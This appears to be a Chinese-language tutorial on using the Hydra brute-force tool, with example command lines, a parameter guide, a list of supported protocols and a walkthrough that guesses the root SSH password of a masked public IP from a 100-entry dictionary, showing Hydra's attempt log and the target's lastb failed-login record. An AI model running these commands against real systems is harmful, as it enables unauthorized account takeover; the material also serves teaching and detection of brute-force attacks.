暴力破解工具Hydra 使用

kali 自带的hydra 工具，直接使用即可，不再赘述安装过程

常用命令如下

  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

其中参数说明

-l	指定要爆破的用户名【常用】
-L	如果用户名很多放在文件中，可以只用这个参数
-p	指定要使用的密码【常用】
-P	指定要使用的密码文件
ftp://	指定要爆破的协议，这里使用ftp 协议，其它常用的还有ssh，rdp，mysql、redis等
192.168.0.1	指定要爆破的目标机器ip 地址

 

hydra 支持爆破的协议如下

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

实战测试

目标机器：139.x.x.x

目标服务：ssh

密码字典：top100.txt 【字典下载地址：https://download.csdn.net/download/helloexp/20107342】

hydra -l root -P top100.txt ssh://139.x.x.x -t 4 -V -I

运行过程如下

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-09 16:02:14
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 100 login tries (l:1/p:100), ~25 tries per task
[DATA] attacking ssh://139.x.x.x:22
[ATTEMPT] target 139.x.x.x - login "root" - pass "123456789" - 1 of 100 [child 0] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "a123456" - 2 of 100 [child 1] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "123456" - 3 of 100 [child 2] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "a123456789" - 4 of 100 [child 3] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "1234567890" - 5 of 100 [child 0] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "woaini1314" - 6 of 100 [child 1] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "qq123456" - 7 of 100 [child 2] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "abc123456" - 8 of 100 [child 3] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "123456a" - 9 of 100 [child 0] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "123456789a" - 10 of 100 [child 2] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "147258369" - 11 of 100 [child 1] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "zxcvbnm" - 12 of 100 [child 3] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "987654321" - 13 of 100 [child 0] (0/0)
[ATTEMPT] target 139.x.x.x - login "root" - pass "12345678910" - 14 of 100 [child 2] (0/0)

 目标服务器上观察下暴力破解的痕迹

[root@hack139 log]# lastb
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)
root     ssh:notty    180.x.x.x   Fri Jul  9 16:03 - 16:03  (00:00)

可以看到hydra 正在一个个尝试字典中的密码